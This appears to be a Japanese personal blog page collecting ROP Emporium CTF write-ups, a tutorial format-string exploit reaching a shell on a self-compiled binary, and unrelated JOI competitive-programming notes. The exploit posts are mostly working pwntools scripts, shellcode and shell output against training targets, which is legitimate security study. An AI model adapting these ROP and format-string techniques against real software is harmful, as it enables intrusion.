from pwn import * elf=ELF("./fluff") p=process("./fluff") def f(s): res=0 s=s[::-1] for i in s: res+=ord(i) res*=0x100 return res//0x100 payload=b"A"*40 payload+=p64(0x40082c) # ret; def rewrite(r10,r11): res=b"" res+=p64(0x400822) # xor r11,r11; pop r14; mov edi,0x601050; ret; res+=p64(0) res+=p64(0x400845) # mov r11d,0x602050; ret; res+=p64(0x400832) # pop r12; mov r13d,0x604060; ret; res+=p64(r10^0x602050) res+=p64(0x40082f) # xor r11,r12; pop r12; mov r13d,0x604060; ret; res+=p64(0) res+=p64(0x400840) # xchg r11,r10; pop r15; mov r11d,0x602050; ret; res+=p64(0) res+=p64(0x400822) # xor r11,r11; pop r14; mov edi,0x601050; ret; res+=p64(0) res+=p64(0x400845) # mov r11d,0x602050; ret; res+=p64(0x400832) # pop r12; mov r13d,0x604060; ret; res+=p64(f(r11)^0x602050) res+=p64(0x40082f) # xor r11,r12; pop r12; mov r13d,0x604060; ret; res+=p64(0) res+=p64(0x40084e) # mov QWORD PTR [r10],r11; pop r13; pop r12; xor BYTE PTR [r10],r12b; ret; res+=p64(0) res+=p64(0) return res payload+=rewrite(elf.bss(),'/bin/sh\x00') payload+=p64(0x40082c) # ret; payload+=p64(0x004008c3) # pop rdi; ret; payload+=p64(elf.bss()) payload+=p64(elf.plt['system']) p.sendline(payload) p.interactive()
ROP Emporium埋め 前半
x86-64に全然慣れてないので、やります。
今回は前半の4問だけです。後半も直にやります。
環境 : Ubuntu 20.04 LTS
$ lsb_release -a LSB Version: core-11.1.0ubuntu2-noarch:printing-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch Distributor ID: Ubuntu Description: Ubuntu 20.04 LTS Release: 20.04 Codename: focal
1. ret2win
32bit
ただのバッファオーバーフローですね。
gdbでpattern_createからのpattoでリターンアドレスまでのoffset割り出して、ret2winに飛ばします。やるだけ。
from pwn import * elf=ELF("./ret2win32") p=process("./ret2win32") payload=b"A"*44 payload+=p32(elf.symbols['ret2win']) p.sendlineafter(b"\n\n> ",payload) print(p.recvall())
64bit
方針は変わらないんですが、ret2winの先頭に飛ばすとレジスタの関係で落ちるので、1つ飛ばしたら実行できました。
from pwn import * elf=ELF("./ret2win") p=process("./ret2win") payload=b"A"*40 payload+=p64(elf.symbols['ret2win']+1) p.sendlineafter(b"\n\n> ",payload) print(p.recvall())
2. split
32bit
objdumpしてみると、usefulFunction
の中でsystem(0x8048747)
を呼んでいる事が分かります。
今回もバッファオーバーフローがあるので取り敢えずusefulFunctionに飛ばしてからgdbでattachすると、
0x8048747の中身は/bin/ls
でした。カス!
FSBとかないのでそれを書き換えるのは無理、という事でnmコマンドで適当に探してみるとusefulStringが見つかります。
こちらの中身を見てみると.../bin/cat flag.txt
です。世の中よくできてるなぁ(?)
後はpwnmeのリターンアドレスからROPして終わりです。
from pwn import * elf=ELF("./split32") p=process("./split32") payload=b"A"*44 payload+=p32(elf.plt['system']) payload+=b"AAAA" payload+=p32(0x804a030) # useful String p.sendlineafter(b"Contriving a reason to ask user for data...\n> ",payload) print(p.recvall())
64bit
64bitの関数呼び出し、32bitと全然違うんですよね。
32bitだと素直にstackにポンポン入れられるんですが64bitだとrdi -> rsi -> rdx ...みたいな感じでレジスタに入れられていきます。
しかも、stack alignmentとかなんとかでROPの最初にret;
挟まないと死ぬっていう
手間のかかる子です。
from pwn import * elf=ELF("./split") p=process("./split") payload=b"A"*40 payload+=p64(0x004005b9) # ret; payload+=p64(0x00400883) # pop rdi; ret; payload+=p64(0x0000000000601060) # usefulString payload+=p64(elf.plt['system']) p.sendlineafter(b"Contriving a reason to ask user for data...\n> ",payload) print(p.recvall())
3. callme
32bit
問題文にcallme_one(1,2,3),callme_two(1,2,3),callme_three(1,2,3)の順に呼べと書いてあるのでその通りにします。
from pwn import * elf=ELF("./callme32") p=process("./callme32") payload=b"A"*44 payload+=p32(elf.plt['callme_one']) payload+=p32(0x080488a9) # pop3ret payload+=p32(0x00000001) payload+=p32(0x00000002) payload+=p32(0x00000003) payload+=p32(elf.plt['callme_two']) payload+=p32(0x080488a9) payload+=p32(0x00000001) payload+=p32(0x00000002) payload+=p32(0x00000003) payload+=p32(elf.plt['callme_three']) payload+=p32(0x080488a9) payload+=p32(0x00000001) payload+=p32(0x00000002) payload+=p32(0x00000003) p.sendlineafter(b"Hope you read the instructions...\n> ",payload) print(p.recvall())
64bit
最初にretを挟むのを忘れずに。
他の人のwrite-up見てみると、最初のret gadget挟んでないのに上手く行ってるんですよね...なんでだろ
from pwn import * elf=ELF("./callme") p=process("./callme") pop3_gadget=0x00401ab0 ret_gadget=0x004017d9 payload=b"A"*40 payload+=p64(ret_gadget) payload+=p64(pop3_gadget) payload+=p64(0x1) payload+=p64(0x2) payload+=p64(0x3) payload+=p64(elf.plt['callme_one']) payload+=p64(pop3_gadget) payload+=p64(0x1) payload+=p64(0x2) payload+=p64(0x3) payload+=p64(elf.plt['callme_two']) payload+=p64(pop3_gadget) payload+=p64(0x1) payload+=p64(0x2) payload+=p64(0x3) payload+=p64(elf.plt['callme_three']) p.sendlineafter(b"Hope you read the instructions...\n> ",payload) print(p.recvall())
4. write4
32bit
なんかbufferの値を/bin/sh\x00AAAA...
とかにすればいいかな〜とか思ったんですが、変数名分からんしで諦めてwrite-upを見ました。
usefulGadgetsにmov DWORD PTR [edi],ebp
があるので、pop edi; pop ebp; ret;
があったら任意の書き込み権限のあるアドレスに任意の値を書き込めるとからしいです。
肝心の書き込み権限のあるアドレスとしてはbssセクションが使えるので、そこに/bin/sh
を書き込んでsystemの引数でそれを呼べばシェルが起動するという感じです。
from pwn import * elf=ELF("./write432") p=process("./write432") pop2_gadget=0x080486da mov_edi_ebp=0x08048670 bss=elf.bss() payload=b"A"*44 payload+=p32(pop2_gadget) payload+=p32(bss) payload+=b"/bin" payload+=p32(mov_edi_ebp) payload+=p32(pop2_gadget) payload+=p32(bss+4) payload+=b"/sh\x00" payload+=p32(mov_edi_ebp) payload+=p32(elf.plt['system']) payload+=b"AAAA" payload+=p32(bss) p.sendlineafter(b"Go ahead and give me the string already!\n> ",payload) p.interactive()
64bit
32bitのコードを64bit版にしただけです。/bin/sh\x00
が8バイトで丁度良いですね〜
from pwn import * elf=ELF("./write4") p=process("./write4") payload=b"A"*40 payload+=p64(0x004005b9) # ret; payload+=p64(0x00400890) # pop r14;pop r15;ret; payload+=p64(elf.bss()) payload+=b"/bin/sh\x00" payload+=p64(0x00400820) # mov QWORD PTR [r14],r15 payload+=p64(0x00400893) # pop rdi;ret; payload+=p64(elf.bss()) payload+=p64(elf.plt['system']) p.sendlineafter(b"Go ahead and give me the string already!\n> ",payload) p.interactive()
ASLR + Full RELRO + NX bit + PIE + SSP から FSB でシェルを起動する
これはASLR+PIEとformat string attackによるInformation Leak - ももいろテクノロジーと RELROとformat string attackによるリターンアドレス書き換え - ももいろテクノロジー の合わせ技みたいなやつのメモです。
ASLR + Full RELRO + NX bit + PIE + SSP の状態でFSBからのシェルの起動までをやります。
環境
Ubuntu 20.04LTS 64bit
$ uname -a Linux defineprogram-dynabook-T45-GG 5.4.0-33-generic #37-Ubuntu SMP Thu May 21 12:53:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a LSB Version: core-11.1.0ubuntu2-noarch:printing-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch Distributor ID: Ubuntu Description: Ubuntu 20.04 LTS Release: 20.04 Codename: focal $ gcc --version gcc (Ubuntu 9.3.0-10ubuntu2) 9.3.0 Copyright (C) 2019 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
攻撃対象のコード
//fsb.c #include <stdio.h> void vuln() { char buf[200]; for(int i=0;i<3;i++) { fgets(buf, sizeof(buf), stdin); printf(buf); fflush(stdout); } } int main() { vuln(); return 0; }
なんで3回かと言うと、後で3回に分けて攻撃するからです。
64bitのエクスプロイトは難しいので、32bitでやります。
gcc -m32 -Wl,-z,relro,-z,now -o fsb fsb.c
指針
ASLR+PIEとformat string attackによるInformation Leak - ももいろテクノロジーでは、アドレスをリークした上でfflushのアドレスを FSAでGOT Overwriteしてシェルコードのあるアドレスに向かせてシェルを奪っています(NX bit無効かつFull RELROでない事が条件)。 一方、RELROとformat string attackによるリターンアドレス書き換え - ももいろテクノロジーではmain関数のリターンアドレスをsystem関数に向かわせてシェルを奪っています(ASLRが無効なのが条件)。
というわけで、合わせるとアドレスをリークした上でリターンアドレスをsystem関数に向かわせるという事になりますね。
これならNX bitにもRELROにも引っかかりません。
エクスプロイトコード
エクスプロイトコードは、大体ASLR+PIEとformat string attackによるInformation Leak - ももいろテクノロジーをpwntools使って書き直したようなものです。
アドレスによってはエラー出そうなのあるけど許して
エクスプロイトする時には、アドレスの入ってるアドレスなのか、それとも実際のアドレスなのか、そしてoffsetなのか実際のアドレスなのか混同しがちなので注意です。
さて、エクスプロイトの流れを軽く説明します。
Round 1 以前
以下の情報を持ちます。これらはPIEやASLRとは関係なく一定です。
- bufferがFSBで何番目に現れるか
- vulnからのreturn addressの置かれているアドレスのbufferからのoffset
- vulnを呼び出す時に置かれるsaved ebp自体のbufferからのoffset
- __libc_start_mainのgotアドレスのoffset
- fflushのgotアドレスのoffset
- vulnからのreturn address自体のoffset
- libc内の__libc_start_mainのoffset
Round 1
FSBを利用して、
- return address自体
- saved ebp自体
をリークします。return address自体のoffsetが分かっているので、offsetを引く事でbaseが何かが分かります。
また、saved ebpとbufferとのoffsetも分かっているので、bufferのアドレスも分かります。
Round 2
base addressが判明し、libc_start_main(got)のoffsetも分かっているので、FSBによりlibc_start_mainの実際のアドレスが判明します。
__libc_start_mainのlibc内のoffsetは分かっているので、libc base addressが分かります(重要)
Round 3
Round 1でbufferのアドレスが判明しており、またbufferとreturn addressの入ってるアドレスのoffsetも判明しているのでreturn addressの入ってるアドレスも分かります。
後はreturn addressを書き換えるだけです。
libc baseがRound 2で判明しているので、systemや"/bin/sh"の実際のアドレスも分かります。
こちらもFSBで書き換えるだけ。Got OverwriteではないのでRELROには引っかかりません!
Round 3 の後
vulnからのreturn時にsystem("/bin/sh")が実行され、シェルが立ち上がります。
やったぜ!
# ret2libc.py from pwn import * index=5 offset_retaddr_from_buf=0xd8 offset_ebp_from_buf=0xe4 shellcode=b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" elf=ELF("./fsb") libc=ELF("/lib/i386-linux-gnu/libc.so.6") offset_got_start=elf.got['__libc_start_main'] offset_got_fflush=elf.got['fflush'] offset_retaddr=0x12e3 offset_libc_start=libc.symbols['__libc_start_main'] log.info("offset_got_start={}".format(hex(offset_got_start))) log.info("offset_got_fflush={}".format(hex(offset_got_fflush))) log.info("offset_libc_start={}".format(hex(offset_libc_start))) p=process("./fsb") index_retaddr=index+offset_retaddr_from_buf//4 # Round 1 payload="%{}$08x".format(index_retaddr) payload+="%{}$08x".format(index_retaddr-1) p.sendline(payload) line=p.recvline() addr_retaddr=int(line[:8],16) addr_ebp=int(line[8:],16) base_addr=addr_retaddr-offset_retaddr addr_buf=addr_ebp-offset_ebp_from_buf log.info("base_addr:{}".format(hex(base_addr))) log.info("addr_buf:{}".format(hex(addr_buf))) # Round 2 payload=p32(base_addr+offset_got_start) payload+=bytes("%{}$s".format(index).encode()) p.sendline(payload) addr_libc_start=u32(p.recvline()[4:8]) base_libc_addr=addr_libc_start-offset_libc_start log.success("libc base:{}".format(hex(base_libc_addr))) # Round 3 address_retaddr=offset_retaddr_from_buf+addr_buf offset_system=libc.symbols['system'] offset_binsh=next(libc.search(b"/bin/sh")) writes={address_retaddr:base_libc_addr+offset_system, address_retaddr+8:base_libc_addr+offset_binsh} payload=fmtstr_payload(index,writes) p.sendline(payload) p.interactive()
実行すると、一発でシェルが取れている事が分かります。
$ python3 ret2libc.py [*] '/home/defineprogram/Desktop/CTF/FSB_ASLR+PIE/fsb' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] offset_got_start=0x3fe0 [*] offset_got_fflush=0x3fd4 [*] offset_libc_start=0x1edf0 [+] Starting local process './fsb': pid 18696 [*] base_addr:0x565ca000 [*] addr_buf:0xffaa77a4 [+] libc base:0xf7da6000 [*] Switching to interactive mode \xc8 \x80 @ % % h 1aaa|x\xaa\xff}x\xaa\xff~x\xaa\xff\x7fx\xaa\xff\x84x\xaa\xff\x85x\xaa\xff\x86x\xaa\xff\x87x\xaa\xff $ id uid=1000(defineprogram) gid=1000(defineprogram) groups=1000(defineprogram),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1001(docker)
JOI難易度8を2日で全クリする
これはなんですか?
基本に立ち返るべく、難易度8をもう一周する事にしました
解説記事ではないので、感想とかを書きます
ネタバレ注意
Shuffle
1回のシャッフルにつき列が分かれて増える数は高々2なので、愚直にシミュレーションしても間に合う事が分かります
シャッフル後のカードは増加列をいくつか持っている形になっているので、それを持ちます
実装辛い...
植木算消えろ!!!
散歩
これad-hocで面白い
ある時点で各頂点の向きがどちらかは、最初の向きとその頂点を通った回数によって決まります
各頂点を N 回通る時、その頂点から右と下の頂点へはそれぞれ大体半分ずつ通ります(奇数の場合、最初に向いている方向が1回多い)
よって、N 回目に散歩する時に各頂点がどちらを向いているかが分かるので後は適当にシミュレーションするだけです
認証レベル
これ簡単枠じゃないかな
cost1[i]= 事務所1で i 室入るために必要な最小コスト
cost2[i]= 事務所2で以下同文
として、事務所1で入る室数を全探索すれば良さそうな事が分かります
コストは、エレベータの所からスタートしてstd::priority_queueを使うと簡単に実装できます
事務所1,2で同じ実装をするのは面倒なので、関数でやると楽ですね
Sequence
要は奇数か偶数かを考えれば良い事が分かります
鳩の巣原理より、周期の長さは高々 (2n-1) × n で、実際はもっと短いので間に合うっぽい?という事が分かります
というわけで周期の長さがいくつかをシミュレーションして、後はバケット法の下位互換(伝わって)をすれば良いです
↓こういうやつ
while(p%n&&p<q){ ans+=v[p++]; } while(q%n&&p<q){ ans+=v[--q]; } ans+=(q-p)/n*sum;
周期が確定した後に最後のを消し忘れてN回WA出した...
Pyramid
これも簡単枠。
std::priority_queueを使って、ピラミッドの高さが高い方から周りに伝播させて行けばいいです
define int long longをしているとMLEします(懲りない人)
Abduction
X座標とY座標は独立なので、それぞれimosの要領でDPすれば良いです
配列の再利用をしないとMLE
dpx[H][j]とする所をdpx[W][j]にして、気づくのに1時間かかった...
カス
Advertisement
トポソみたいな感じで、上からドバーッと流していけば良い事が分かります
これ、強連結成分分解とは言わない気がする...
Distribution
子の中で最も得点の高いパスを親に繋げて、他はそこで打ち切りみたいな実装をすると、O(NlogN)になって嬉しいです
以前やった時はLCA使って実行時間ギリギリで通した記憶...
方向音痴のトナカイ
これ難易度9だと思うんですが...
前からやるとTLEするので、後ろからやります
後ろからだと、次にできるやつが高々4通りなので間に合います
やっぱり難しいなぁ...
------------------ここまで4/29------------------
Sengoku
以前やった時は面倒な方法をしたのですが、今は45°回転する一般的なテクを知っているのでさほど難しくはないです
重複した線に気をつければ、そこまで難しくはないはず...?
a plus b
見た目は簡単なのに...ってやつですね
以前やった時、実装に苦しんだ覚えがあって二度とやるかくらいに思っていたんですが、大して難しく感じませんでした(嬉しい)
ただ、長さが0のものをvectorに入れていたせいでバグって30分溶かしました...(ァ)
DNA Synthesizer
ただのやるだけDPに見えますが、実行時間制限が短いです
std::setを使うとTLEしますが、std::unordered_setを使うと余裕で間に合います
set::findだけを使う時はunordered_setを使った方が速いです
Trieでやるともうちょい速いです
歩くサンタクロース
全点からの距離の和の最小は中央値という有名なやつを利用します
どれか1つだけ取り除く場合、中央値はどう変化するかを考えれば良いです
そんなに難易度8の中ではまぁまぁ難しい方?
Deciphering
部分文字列の数え上げ、典型中の典型ですね
define int long longを付けてることでTLEやMLE、難易度8はめちゃくちゃ多いなぁ...
Nails
正三角形は嫌なので、傾けて直角三角形にします
あらかじめ加算のスタートとゴールをimosで加算してから斜め方向にimosすればOK!
面白い問題だと思います
JOI Flag
ほとんど塗られてないので、適当な枝刈りをすれば良いです
愚直に実装すると大変ですが、工夫すれば楽に実装できます
現代的な屋敷
向きが同じ状態の周りのスイッチと、向きの違う同じ場所に対して辺を張れば良いです
1-2-3-4-5のように連なっている場合は、1-3のような辺は必要ありません
あとは適当にダイクストラすればOKです
マスコットの片付け
かなりAtCoder寄りの問題ですね...
縦長の長方形を追加する時、大事なのは高さであり、上下にいくつずつあるかはどうでも良いです
なので、DP[i][j] = 既に上下に i マス 左右に j マス追加した場合の数 としてDPをして、後は適当に最初の長方形を作るまでの通り数と上下左右にそれぞれ割り当てる通り数を掛ければOKです
面白い問題だと思います
Spy
Nの方の制約がゆるいので、そっちから考えます
ans[i][j] = JOIの i , IOI の j が参加するプロジェクトの個数として、JOIとIOIでそれぞれ下に降りていけばO(N2)です
難易度7でも良いんじゃないかな...
Mountain Rescue
難易度8としては珍しいインタラクティブです
割と天才解法だし、難しいと思うんだけどなぁ...
Presents
全ての出次数が1という事は、各連結成分が1つの閉路と、閉路に向かって生えている辺のみという事です
閉路に向かって生えているのは全て嬉しさが多い方にできます
閉路の中で、自分と違うのを好む人が偶数の場合、全員を嬉しさが多い方に分配する事ができます(偶数回反転したらもとに戻る)
しかし、奇数の場合は閉路の中の誰かを犠牲にする必要があります
あとはDFSやるだけ
フクロモモンガ
最大の懸念は、時間が短いかつ高さが高いという事はあり得るかということです
登る以外は全て時間と同じだけ下がるので一度も登っていないものは関係ありません
また、一度登ったらギリギリの高さまで登ってギリギリ到着を繰り返す事になるので、必ず高さ0になり関係ありません
よって、時間だけを見れば良いことが分かりました
後はダイクストラするだけです
財宝
半分全列挙からRange Minimum Queryです
mutliset ... TLEする
Segtree ... ギリギリ間に合う
スライド最小値 ... 余裕で間に合う
コピー&ペースト2
元の位置を逆算する一般的なテク
Bulding3
Building N を見る度に頭痛くなるんですけど...
Building 4がトラウマ過ぎる
必ず使わなきゃいけない数がある場合とない場合があるぞい!
重複に注意
遺産相続
クラスカル法を思い出すと、小さい方から貪欲に追加していくだけで最小全域木になる、つまりなるべく番号が小さい人に割り当てるのが最適です
より、連結であるかは単調になり、二分探索が使えます
難易度8の中では割と難しい方なのでは...?
屋台
まわりのを既に買ったかどうかを5bitで持つDP
実装鬼畜すぎる...
多分難易度8最難関
鉄道運賃
BFSで最短経路で頂点に入ってくる辺の本数を持っておき、それが0になったら消して子に伝播...みたいな事をすると良いです(語彙力)
既に消した辺を二度消すみたいな事をして1WA
準急電車
増える量は単調減少なので、単純にpriority_queueに入れて貪欲法でOKです
めちゃくちゃバグらせた...
本番だったらマジでパニックになってそう
JOIOI王国
普通にやると実装が面倒になるのですが、Sayaka姉貴の言ってた90°回転を4回やるテクを使うと簡単れふ
おわりに
疲れました...
4/29 9問
4/30 21問
一日で終わらせるのはほとんど不可能に近いです
是非挑戦してみて下さい!